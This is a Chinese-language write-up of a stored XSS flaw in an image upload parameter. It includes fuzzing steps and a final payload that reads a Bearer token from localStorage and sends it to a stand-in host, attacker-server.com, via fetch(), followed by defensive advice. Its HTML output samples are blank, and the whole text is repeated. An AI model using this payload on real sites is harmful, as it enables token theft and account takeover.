XSS漏洞_从本地存储中获取数据
字数 1046 2025-08-03 16:43:29

XSS漏洞利用:从本地存储中获取敏感数据

1. 漏洞背景

本文介绍了一种高级XSS漏洞利用技术,通过存储型XSS漏洞获取存储在客户端本地的敏感信息(如Bearer Token),而不仅仅是传统的Cookie窃取。

2. 漏洞发现过程

2.1 漏洞触发点

漏洞存在于一个文件上传功能中:

  • 文件上传后会返回云存储URL
  • 服务器通过image_url参数接收URL
  • 服务器将URL拼接到``标签中
  • 拼接时还会附加"s1600"字符串

2.2 漏洞验证

通过fuzz测试发现:

  1. 传入image_url="xxx test",HTML返回:

    
    
  2. 传入image_url="xxx onerror=test",HTML返回:

    
    
  3. 传入image_url="xxx onerror=alert(document.cookie);"成功触发弹窗

3. 本地存储信息读取技术

3.1 本地存储特性

  • Web存储API,以键值对形式存储数据
  • 为每个域(origin)维护独立存储区域
  • 数据在浏览器关闭后仍保留
  • 通过Window.localStorage对象访问

3.2 目标应用分析

目标应用在基于cookie的身份验证之外还使用Bearer Token:

  • Token原始值以JSON格式存储在本地存储中
  • 可通过JavaScript读取

3.3 读取方法

  1. 使用getItem()检索密钥:

    localStorage.getItem('Key')
    
  2. 解析JSON值:

    JSON.parse(localStorage.getItem('Key')).KEYNAME
    

4. 完整利用流程

4.1 Payload构造

  1. 从本地存储检索access_token:

    token = JSON.parse(localStorage.getItem('KEYNAME')).access_token
    
  2. 将Token通过Burp Collaborator带外传输:

    url = 'https://attacker-server.com/' + token
    
  3. 最终payload:

    "xxx onerror=token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://attacker-server.com/'+token,fetch(url);"
    

4.2 实际HTML输出


5. 防御建议

  1. 输入验证与过滤:

    • 严格验证image_url参数,确保是合法URL
    • 过滤特殊字符和事件处理程序
  2. 输出编码:

    • 对动态内容进行HTML实体编码
  3. 敏感数据存储:

    • 避免将敏感信息存储在本地存储中
    • 使用HttpOnly和Secure标志的Cookie
  4. 内容安全策略(CSP):

    • 实施严格的CSP策略限制脚本执行
  5. 最小权限原则:

    • 本地存储只存储非敏感数据
    • 敏感操作需服务器端验证

6. 总结

本案例展示了XSS漏洞不仅可用于窃取Cookie,还能获取存储在客户端本地的其他敏感信息。攻击者通过精心构造的payload,利用存储型XSS读取本地存储中的Bearer Token,实现了权限提升。这强调了全面安全防护的重要性,包括输入验证、输出编码和敏感数据保护等多层防御措施。

XSS漏洞利用:从本地存储中获取敏感数据 1. 漏洞背景 本文介绍了一种高级XSS漏洞利用技术,通过存储型XSS漏洞获取存储在客户端本地的敏感信息(如Bearer Token),而不仅仅是传统的Cookie窃取。 2. 漏洞发现过程 2.1 漏洞触发点 漏洞存在于一个文件上传功能中: 文件上传后会返回云存储URL 服务器通过 image_url 参数接收URL 服务器将URL拼接到 `` 标签中 拼接时还会附加"s1600"字符串 2.2 漏洞验证 通过fuzz测试发现: 传入 image_url="xxx test" ,HTML返回: 传入 image_url="xxx onerror=test" ,HTML返回: 传入 image_url="xxx onerror=alert(document.cookie);" 成功触发弹窗 3. 本地存储信息读取技术 3.1 本地存储特性 Web存储API,以键值对形式存储数据 为每个域(origin)维护独立存储区域 数据在浏览器关闭后仍保留 通过 Window.localStorage 对象访问 3.2 目标应用分析 目标应用在基于cookie的身份验证之外还使用Bearer Token: Token原始值以JSON格式存储在本地存储中 可通过JavaScript读取 3.3 读取方法 使用 getItem() 检索密钥: 解析JSON值: 4. 完整利用流程 4.1 Payload构造 从本地存储检索access_ token: 将Token通过Burp Collaborator带外传输: 最终payload: 4.2 实际HTML输出 5. 防御建议 输入验证与过滤: 严格验证 image_url 参数,确保是合法URL 过滤特殊字符和事件处理程序 输出编码: 对动态内容进行HTML实体编码 敏感数据存储: 避免将敏感信息存储在本地存储中 使用HttpOnly和Secure标志的Cookie 内容安全策略(CSP): 实施严格的CSP策略限制脚本执行 最小权限原则: 本地存储只存储非敏感数据 敏感操作需服务器端验证 6. 总结 本案例展示了XSS漏洞不仅可用于窃取Cookie,还能获取存储在客户端本地的其他敏感信息。攻击者通过精心构造的payload,利用存储型XSS读取本地存储中的Bearer Token,实现了权限提升。这强调了全面安全防护的重要性,包括输入验证、输出编码和敏感数据保护等多层防御措施。